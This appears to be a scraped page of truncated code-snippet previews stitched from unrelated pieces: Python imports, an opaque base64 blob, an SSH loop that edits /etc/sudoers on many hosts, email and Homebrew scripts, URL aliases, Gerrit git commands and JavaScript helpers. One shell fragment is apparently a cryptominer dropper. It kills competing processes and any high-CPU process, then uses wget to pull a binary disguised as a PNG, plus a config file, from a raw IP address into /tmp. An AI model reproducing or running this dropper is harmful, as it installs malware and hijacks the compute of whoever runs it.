OJ
比赛:
import os | |
import sys | |
import re | |
import hashlib | |
import csv | |
import time | |
import locale | |
import getopt | |
iUxaTwANChoKEDAgQAlAAQUOMAA9AAAAAFaVyZ9WlcmfADR5BhEAAAJRAAACHxc/ | |
uggAFzJhMzhhNGE5MzE2YzQ5ZTVhODMzNTE3YzQ1ZDMxMDcwIDg2MTM5ODVldAMA | |
E2I4Zjc1N2FlNjQzOWU4NzliYjJhIHwgUm9tYW4gSGl0bWFuCj0gHgAAAAcKL1Rk | |
NldGb0FBQVRtMXJSR0FnQWhBUndBQAAAAJNRejFqTTRBRlpBUWhkQUNrSUJFU2l3 | |
VU5uMHF1VVVBRElIZ3kyCjVsU1RROFM3R1ZHcU1TeTBxNUlqbjR1cmFJS05zcjRW | |
Q2J1WmRhOXllTElEUWZYTkc2UUFpWW1YWmZXQmx5SjQKa2NJTGFHcnAyWkc0d1NY | |
dzUzaEJyOHNQd1RRb1B1QjNsTGtySEdWV2N5OFZxMklRUGlnaTU0d3dZNGpJVFpi | |
dgpudmwxOFNJYWtvOWsyZUhGd3h6SXY0b1BJT1FURVl0U0Z0Y3BXQ05nYktjWXFq | |
ZVN5VGpwWFpMS2JxMnJnelR1CjY0OVV4a2crYnR6eitYejlxTDg0WHN0ZC8rT0tI | |
TXJ3dTRyOFRHbVhJenN0d3kyKzhYa3JXSW9aRkg1eGw0TEkKWnhNczFwQTRlY21X |
for x in $(cat hosts) | |
do | |
echo $x && ssh -t $x 'sudo grep -Pq "^\s*Defaults:centos\s+!requiretty\s*$" /etc/sudoers || sudo sed -i "/Defaults requiretty/a \ | |
Defaults:centos !requiretty" /etc/sudoers ; exit' | |
done |
#!/usr/bin/env python | |
# encoding: utf-8 | |
from __future__ import unicode_literals, print_function | |
import smtplib | |
from email.mime.multipart import MIMEMultipart | |
from email.mime.base import MIMEBase | |
from email.mime.text import MIMEText | |
from email.utils import formatdate | |
from email import encoders |
#!/bin/bash | |
red=$(tput setaf 1) | |
# green=$(tput setaf 2) | |
reset=$(tput sgr0) | |
(set -x; brew update;) | |
for cask in $(brew cask outdated | awk '{print $1}') | |
do | |
echo "${red}update ${cask} ...${reset}." |
#!/bin/sh | |
pkill conns | |
ps auxw|head -1;ps auxw|sort -rn -k3|head -1|awk '{if($3>80.0) print "kill -9 " $2}'|sh | |
pkill bonns | |
ps -fe|grep donns |grep -v grep | |
if [ $? -ne 0 ] | |
then | |
echo "start process....." | |
wget 91.235.143.129:8086/587b626883fdc.png -O /tmp/conn | |
wget 91.235.143.129:8086/1eac80002f.conf -O /tmp/config.conf |
alias urldecode='python3 -c "import sys; from urllib.parse import unquote_plus as up; print(up(sys.argv[1],encoding=\"utf-8\" if len(sys.argv)<=2 else sys.argv[2]))"' | |
alias urlencode='python3 -c "import sys; from urllib.parse import quote_plus as qp; print(qp(sys.argv[1],encoding=\"utf-8\" if len(sys.argv)<=2 else sys.argv[2]))"' |
# checkout | |
git fetch origin refs/meta/config:refs/remotes/origin/meta/config | |
git checkout meta/config | |
# push | |
# directly: | |
git push origin meta/config:meta/config | |
# via review: | |
git push origin meta/config:refs/for/refs/meta/config |
function addStyleLink(url) { | |
let link = document.createElement('link'); | |
link.rel = 'stylesheet'; | |
link.href = url; | |
const head = document.getElementsByTagName('head')[0]; | |
head.appendChild(link); | |
} | |
function addClass(elements, clsNames) { | |
for (let e of elements) { |